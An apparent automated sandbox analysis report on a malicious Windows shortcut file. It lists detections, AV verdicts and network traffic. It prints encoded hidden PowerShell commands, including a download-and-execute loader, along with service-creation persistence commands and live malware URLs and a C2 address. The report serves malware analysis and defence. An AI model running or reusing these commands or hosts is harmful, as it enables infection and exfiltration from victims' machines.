EEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcA

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Temp\myRdpService.exe cakoi10, ParentImage: C:\Windows\Temp\myRdpService.exe, ParentProcessId: 4836, ParentProcessName: myRdpService.exe, ProcessCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 8904, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3076, TargetFilename: C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3700, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 7260, ProcessName: net.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3700, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 4628, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA==" , CommandLine: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcA

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 2700, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query myRdpService, CommandLine: sc query myRdpService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc query myRdpService, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 9152, ParentProcessName: cmd.exe, ProcessCommandLine: sc query myRdpService, ProcessId: 6056, ProcessName: sc.exe

Sigma detected: Start Windows Service Via Net.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3700, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 7260, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, CommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 908, ProcessCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, ProcessId: 8632, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3076, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline", ProcessId: 5216, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:15:46.214637+0100	2803305	3	Unknown Traffic	192.168.11.20	49782	172.67.128.139	443	TCP
2024-12-11T12:16:42.320201+0100	2803305	3	Unknown Traffic	192.168.11.20	49787	172.67.128.139	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:14:16.432231+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49760	172.67.128.139	443	TCP
2024-12-11T12:14:18.767866+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49762	172.67.128.139	443	TCP
2024-12-11T12:14:21.094804+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49764	172.67.128.139	443	TCP
2024-12-11T12:14:42.704862+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49776	172.67.128.139	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222	Avira URL Cloud: Label: malware
Source: http://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd8	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba41404449ae433	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e	Avira URL Cloud: Label: malware
Source: https://login.live	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/181	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e6804767129f4b5fe289	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/b0cdda893b0765c99d30cddae6fd74c48ea8c4a5922a60ed3ef018a1ea2b77873615eb3	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a0	Avira URL Cloud: Label: malware
Source: http://cocomethode.de/api/check	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f5	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dca	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1	Avira URL Cloud: Label: malware
Source: https://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fa	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/Zd	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/StaticFile/TermServiceTryRun/46	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba105142fb5a18040cae83c6cdcf9ff4eb	Avira URL Cloud: Label: malware
Source: http://cocomethode.de:443/	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba41404449ae4336e9bc7aa16a310feabd	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/b0c	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: cocomethode.de	Virustotal: Detection: 7%			Perma Link
Source: http://cocomethode.de	Virustotal: Detection: 7%			Perma Link

Multi AV Scanner detection for submitted file

Source: L0jeOoavu4.lnk	ReversingLabs: Detection: 28%
Source: L0jeOoavu4.lnk	Virustotal: Detection: 34%			Perma Link

Machine Learning detection for sample

Source: L0jeOoavu4.lnk

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49782 version: TLS 1.2

Source:	Binary string: ?\C:\Windows\dll\mscorlib.pdbFIER=Intel64 Family 6 Model 158 Step source: powershell.exe, 00000008.00000002.290204132689.000001A1208E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: t.Automation.pdb source: powershell.exe, 00000008.00000002.290204132689.000001A1208E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000010.00000002.291076631092.000001D79C36F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Management.Automation.pdbPro\_ source: powershell.exe, 00000008.00000002.290204132689.000001A1208E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.pdb source: powershell.exe, 00000010.00000002.291076631092.000001D79C3DA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdbA^ source: powershell.exe, 00000008.00000002.290204132689.000001A1208E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb source: powershell.exe, 00000008.00000002.290204132689.000001A1208E0000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp

String found in memory: <   "><a href="http://style="float:left;concerned with the=http%3A%2F%2Fwww.in popular culturetype="text/css" />it is possible to Harvard Universitytylesheet" href="/the main characterOxford University name="keywords" cstyle="text-align:the United Kingdomfederal government<div style="margin depending on the description of the<div class="header.min.js"></script>destruction of theslightly differentin accordance withtelecommunicationsindicates that theshortly thereafterespecially in the European countriesHowever, there aresrc="http://staticsuggested that the" src="http://www.a large number of Telecommunications" rel="nofollow" tHoly Roman Emperoralmost exclusively" border="0" alt="Secretary of Stateculminating in theCIA World Factbookthe most importantanniversary of thestyle="background-<li><em><a href="/the Atlantic Oceanstrictly speaking,shortly before thedifferent types ofthe Ottoman Empire><img src="http://An Introduction toconsequence of thedeparture from theConfederate Statesindigenous peoplesProceedings of theinformation on thetheories have beeninvolvement in thedivided into threeadjacent countriesis responsible fordissolution of thecollaboration withwidely regarded ashis contemporariesfounding member ofDominican Republicgenerally acceptedthe possibility ofare also availableunder constructionrestoration of thethe general publicis almost entirelypasses through thehas been suggestedcomputer and videoGermanic languages according to the different from theshortly afterwardshref="https://www.recent developmentBoard of Directors<div class="search| <a href="http://In particular, theMultiple footnotesor other substancethousands of yearstranslation of the</div>

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49786

Source: global traffic

TCP traffic: 192.168.11.20:49784 -> 23.88.71.29:8000

Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/66 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/TermServiceTryRun/46 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: u60oEPlz90WpxO0ra4ei2w==Sec-WebSocket-Version: 13
Source: global traffic	HTTP traffic detected: POST /api/registry HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: application/jsonContent-Length: 102Data Raw: 22 36 33 30 31 33 33 37 32 46 36 35 37 35 41 39 44 34 45 41 32 39 43 42 36 30 38 37 39 38 45 44 39 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "63013372F6575A9D4EA29CB608798ED9\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
